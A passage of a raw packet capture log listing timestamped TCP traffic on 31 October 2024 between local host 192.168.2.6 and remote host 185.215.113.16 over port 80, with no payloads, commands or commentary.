Oct 31, 2024 01:18:34.939802885 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.939807892 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:34.939826965 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.939837933 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.939840078 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:34.939843893 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.939878941 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.939881086 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:34.939891100 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.939902067 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.939918041 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:34.939945936 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:34.939959049 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.939987898 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.940005064 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.940016031 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.940031052 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:34.940038919 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.940051079 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:34.940131903 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.940145016 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.940155983 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.940167904 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.940176964 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:34.940197945 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:34.940239906 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.940249920 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.940260887 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.940272093 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.940279007 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:34.940284014 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.940305948 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:34.940327883 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.940335035 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:34.940346956 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.940359116 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.940368891 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.940381050 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.940387964 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:34.940392017 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.940412045 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:34.940432072 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.940440893 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:34.940445900 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.940458059 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.940490007 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:34.940527916 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.940540075 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.940551043 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.940562963 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.940562963 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:34.940574884 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.940584898 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:34.940609932 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:34.940702915 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.940715075 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.940737963 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.940747976 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.940752029 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:34.940758944 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.940781116 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:34.940793991 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.940809965 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.940826893 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.940833092 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:34.940844059 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.940855026 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.940865040 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:34.940865993 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.940885067 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:34.940923929 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.940936089 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.940946102 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.940957069 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.940965891 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:34.940968990 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.940996885 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:34.941008091 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:34.941044092 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.941056013 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.941066027 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.941086054 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.941093922 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:34.941098928 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.941108942 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.941119909 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:34.941154003 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:34.941163063 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.941179037 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.941191912 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.941205978 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.941216946 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:34.941227913 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.941239119 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.941246033 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:34.941277027 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:34.941345930 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.941355944 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.941365957 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:34.941366911 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.941392899 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.941404104 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.941405058 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:34.941416025 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.941425085 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.941433907 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:34.941452980 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:34.941477060 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.941488028 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.941498995 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.941510916 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.941517115 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:34.941536903 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:34.941540003 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.941570044 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.941580057 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.941585064 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:34.941615105 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:34.941627026 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.941638947 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.941648960 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.941682100 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:34.941766977 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.941809893 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.941812038 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:34.941822052 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.941864967 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:34.941869974 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.941881895 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.941893101 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.941903114 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.941912889 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.941912889 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:34.941947937 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.941962004 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.941975117 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:34.941977978 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.941989899 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.941998959 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:34.942023039 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.942029953 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:34.942042112 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.942061901 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:34.942068100 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.942082882 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.942095041 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.942106009 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.942114115 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:34.942145109 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:34.942154884 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.942164898 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.942193031 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:34.942199945 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.942210913 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.942222118 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.942233086 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.942235947 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:34.942260027 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:34.944791079 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:34.951514006 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.951534033 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.951550961 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.951564074 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.951575041 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.951586962 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.951591015 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:34.951632977 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:34.951673031 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.951683998 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.951694965 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.951710939 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:34.951725006 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:34.951760054 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.951771021 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.951781988 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.951809883 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:34.951877117 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.951889992 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.951901913 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.951913118 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.951921940 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:34.951926947 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.951936960 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.951951981 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:34.951976061 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:34.951994896 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.952007055 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.952033043 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.952033997 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:34.952044010 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.952056885 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.952065945 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.952104092 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:34.977758884 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.977798939 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.977801085 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:34.977824926 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.977837086 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.977881908 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:34.977912903 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.977924109 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.977935076 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.977951050 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:34.977965117 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.977971077 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:34.977993011 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.978004932 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.978015900 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.978027105 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.978029013 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:34.978039026 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.978049994 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.978055954 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:34.978071928 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:34.978077888 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.978089094 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.978099108 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.978116035 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:34.978127956 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.978140116 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:34.978143930 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.978166103 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.978178024 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:34.978183031 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.978200912 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.978212118 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.978221893 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.978223085 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:34.978235006 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.978245974 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:34.978247881 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.978260994 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.978271008 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.978272915 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:34.978303909 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:34.978332043 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.978343010 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.978368044 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.978369951 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:34.978380919 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.978393078 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.978403091 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:34.978404045 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.978432894 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:34.978521109 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.978548050 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.978559017 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.978563070 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:34.978598118 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:34.978614092 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.978642941 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.978655100 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.978663921 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.978674889 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:34.978674889 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.978688955 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.978698969 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.978698969 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:34.978733063 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:34.978780985 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.978791952 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.978801966 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.978812933 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.978816032 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:34.978825092 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.978837013 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.978842974 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:34.978849888 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.978861094 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.978869915 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:34.978885889 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:34.979931116 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.979953051 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.979968071 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.979979038 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:34.979998112 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.980010033 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.980016947 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:34.980022907 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.980036974 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.980048895 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:34.980074883 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:34.980195999 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.980284929 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.980295897 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.980305910 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.980315924 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.980325937 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:34.980343103 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:34.980349064 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.980360031 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.980370998 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.980381012 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.980391979 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.980401993 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:34.980412006 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.980426073 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.980431080 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:34.980444908 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.980460882 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.980469942 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:34.980495930 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:34.980541945 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.980551958 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.980562925 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.980573893 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.980585098 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.980593920 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:34.980623960 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:34.980644941 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.980657101 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.980676889 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.980688095 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.980695009 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:34.980699062 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.980717897 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:34.980722904 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.980743885 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:34.980747938 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.980760098 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.980771065 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.980782032 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.980791092 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:34.980792999 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.980806112 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:34.980820894 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:34.980830908 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.980842113 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.980856895 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.980868101 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.980882883 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:34.980902910 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:34.980957031 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:34.981080055 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.981091022 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.981101990 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.981112003 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.981132984 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:34.981142044 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.981153011 CET	49797	80	192.168.2.6	185.215.113.16
